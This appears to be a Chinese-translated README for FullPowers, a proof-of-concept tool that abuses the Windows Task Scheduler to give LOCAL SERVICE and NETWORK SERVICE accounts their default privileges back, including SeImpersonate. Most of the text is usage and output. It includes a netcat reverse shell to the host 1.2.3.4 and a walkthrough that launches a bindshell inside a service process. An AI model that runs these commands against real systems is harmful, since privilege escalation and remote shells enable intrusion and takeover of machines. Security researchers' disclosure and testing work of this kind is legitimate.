全力
FullPowers
FullPowers是我製作的概念驗證工具，用於自動恢復服務帳戶的預設權限集，包括SeAssignPrimaryToken和SeImpersonate 。
在 Windows 上，某些作為LOCAL SERVICE或NETWORK SERVICE執行的服務被配置為以一組受限的權限執行。因此，即使服務受到損害，您也不會獲得黃金模擬權限，而且權限升級到LOCAL SYSTEM應該更加複雜。但是，我發現，當您建立排程任務時，任務排程器服務所建立的新程序具有關聯使用者帳戶的所有預設權限（ SeImpersonate除外）。因此，透過一些令牌操作，您可以產生一個具有所有缺失權限的新進程。
用法
LOCAL SERVICE或NETWORK SERVICE執行。
您可以使用-h選項檢查幫助訊息。
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
您想親自測試這個 PoC 嗎？那太棒了！以下是一些幫助您入門的簡單說明。
總體思路是從現有服務的進程啟動bindshell，連接到它，然後運行可執行檔。
您將需要 2 個第三方工具：netcat 和 RunFromProcess。
選擇權限有限的服務，例如： upnphost 。
開啟任務管理器，進入服務標籤並取得對應進程的PID 。
使用以下命令以管理員身份啟動bindshell：
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
使用以下命令連接到bindshell：
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
我們可以看到目前進程沒有模擬權限。現在運行 PoC...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
現在您應該擁有一個具有模擬權限的shell！
